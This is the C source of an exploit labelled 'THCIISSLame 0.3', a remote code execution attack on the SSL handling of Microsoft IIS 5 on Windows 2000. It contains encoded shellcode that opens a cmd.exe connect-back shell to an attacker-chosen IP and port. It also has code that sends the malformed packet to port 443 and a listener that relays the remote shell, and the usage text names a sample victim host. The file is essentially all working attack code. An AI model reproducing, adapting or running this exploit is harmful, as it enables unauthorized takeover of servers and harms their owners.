THCIISSLame.c 6.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253
  1. /*****************************************************************************/
  2. /* THCIISSLame 0.3 - IIS 5 SSL remote root exploit */
  3. /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */
  4. /* THC PUBLIC SOURCE MATERIALS */
  5. /* */
  6. /* Bug was found by Internet Security Systems */
  7. /* Reversing credits of the bug go to Halvar Flake */
  8. /* */
  9. /* compile with MS Visual C++ : cl THCIISSLame.c */
  10. /* */
  11. /* v0.3 - removed sleep[500]; and fixed the problem with zero ips/ports */
  12. /* v0.2 - This little update uses a connectback shell ! */
  13. /* v0.1 - First release with portbinding shell on 31337 */
  14. /* */
  15. /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
  16. /* scut, stealth, FtR and Random */
  17. /*****************************************************************************/
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <string.h>
  21. #include <winsock2.h>
  22. #pragma comment(lib, "ws2_32.lib")
  23. #define jumper "\xeb\x0f"
  24. #define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49\x49\x53\x21"
  25. char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";
  26. char shellcode[] =
  27. "\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"
  28. "\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
  29. "\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
  30. "\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
  31. "\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
  32. "\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
  33. "\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
  34. "\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
  35. "\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
  36. "\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
  37. "\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
  38. "\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
  39. "\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"
  40. "\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"
  41. "\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"
  42. "\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"
  43. "\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"
  44. "\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"
  45. "\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"
  46. "\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"
  47. "\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"
  48. "\x55\xe4";
  49. void usage();
  50. void shell(int sock);
  51. int main(int argc, char *argv[])
  52. {
  53. unsigned int i,sock,sock2,sock3,addr,rc,len=16;
  54. unsigned char *badbuf,*p;
  55. unsigned long offset = 0x6741a1cd;
  56. unsigned long XOR = 0xffffffff;
  57. unsigned long XORIP = 0x93939393;
  58. unsigned short XORPORT = 0x9393;
  59. unsigned short cbport;
  60. unsigned long cbip;
  61. struct sockaddr_in mytcp;
  62. struct hostent * hp;
  63. WSADATA wsaData;
  64. printf("\nTHCIISSLame v0.3 - IIS 5.0 SSL remote root exploit\n");
  65. printf("tested on Windows 2000 Server german/english SP4\n");
  66. printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
  67. if(argc<4 || argc>4)
  68. usage();
  69. badbuf = malloc(352);
  70. memset(badbuf,0,352);
  71. printf("\n[*] building buffer\n");
  72. p = badbuf;
  73. memcpy(p,sslshit,sizeof(sslshit));
  74. p+=sizeof(sslshit)-1;
  75. strcat(p,jumper);
  76. strcat(p,greetings_to_microsoft);
  77. offset^=XOR;
  78. strncat(p,(unsigned char *)&offset,4);
  79. cbport = htons((unsigned short)atoi(argv[3]));
  80. cbip = inet_addr(argv[2]);
  81. cbport ^= XORPORT;
  82. cbip ^= XORIP;
  83. memcpy(&shellcode[2],&cbport,2);
  84. memcpy(&shellcode[4],&cbip,4);
  85. strcat(p,shellcode);
  86. if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  87. {
  88. printf("WSAStartup failed !\n");
  89. exit(-1);
  90. }
  91. hp = gethostbyname(argv[1]);
  92. if (!hp){
  93. addr = inet_addr(argv[1]);
  94. }
  95. if ((!hp) && (addr == INADDR_NONE) )
  96. {
  97. printf("Unable to resolve %s\n",argv[1]);
  98. exit(-1);
  99. }
  100. sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  101. if (!sock)
  102. {
  103. printf("socket() error...\n");
  104. exit(-1);
  105. }
  106. if (hp != NULL)
  107. memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
  108. else
  109. mytcp.sin_addr.s_addr = addr;
  110. if (hp)
  111. mytcp.sin_family = hp->h_addrtype;
  112. else
  113. mytcp.sin_family = AF_INET;
  114. mytcp.sin_port=htons(443);
  115. printf("[*] connecting the target\n");
  116. rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
  117. if(rc==0)
  118. {
  119. send(sock,badbuf,351,0);
  120. printf("[*] exploit send\n");
  121. mytcp.sin_addr.s_addr = 0;
  122. mytcp.sin_port=htons((unsigned short)atoi(argv[3]));
  123. sock2=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  124. rc=bind(sock2,(struct sockaddr *)&mytcp,16);
  125. if(rc!=0)
  126. {
  127. printf("bind error() %d\n",WSAGetLastError());
  128. exit(-1);
  129. }
  130. rc=listen(sock2,1);
  131. if(rc!=0)
  132. {
  133. printf("listen error()\n");
  134. exit(-1);
  135. }
  136. printf("[*] waiting for shell\n");
  137. sock3 = accept(sock2, (struct sockaddr*)&mytcp,&len);
  138. if(sock3)
  139. {
  140. printf("[*] Exploit successful ! Have fun !\n");
  141. printf("[*] --------------------------------------------------------------------\n\n");
  142. shell(sock3);
  143. }
  144. }
  145. else
  146. {
  147. printf("\nCan't connect to ssl port 443!\n");
  148. exit(-1);
  149. }
  150. shutdown(sock,1);
  151. closesocket(sock);
  152. shutdown(sock,2);
  153. closesocket(sock2);
  154. shutdown(sock,3);
  155. closesocket(sock3);
  156. free(badbuf);
  157. exit(0);
  158. }
  159. void usage()
  160. {
  161. unsigned int a;
  162. printf("\nUsage: <victim-host> <connectback-ip> <connectback port>\n");
  163. printf("Sample: THCIISSLame www.lameiss.com 31.33.7.23 31337\n\n");
  164. exit(0);
  165. }
  166. void shell(int sock)
  167. {
  168. int l;
  169. char buf[1024];
  170. struct timeval time;
  171. unsigned long ul[2];
  172. time.tv_sec = 1;
  173. time.tv_usec = 0;
  174. while (1)
  175. {
  176. ul[0] = 1;
  177. ul[1] = sock;
  178. l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  179. if(l == 1)
  180. {
  181. l = recv (sock, buf, sizeof (buf), 0);
  182. if (l <= 0)
  183. {
  184. printf ("bye bye...\n");
  185. return;
  186. }
  187. l = write (1, buf, l);
  188. if (l <= 0)
  189. {
  190. printf ("bye bye...\n");
  191. return;
  192. }
  193. }
  194. else
  195. {
  196. l = read (0, buf, sizeof (buf));
  197. if (l <= 0)
  198. {
  199. printf("bye bye...\n");
  200. return;
  201. }
  202. l = send(sock, buf, l, 0);
  203. if (l <= 0)
  204. {
  205. printf("bye bye...\n");
  206. return;
  207. }
  208. }
  209. }
  210. }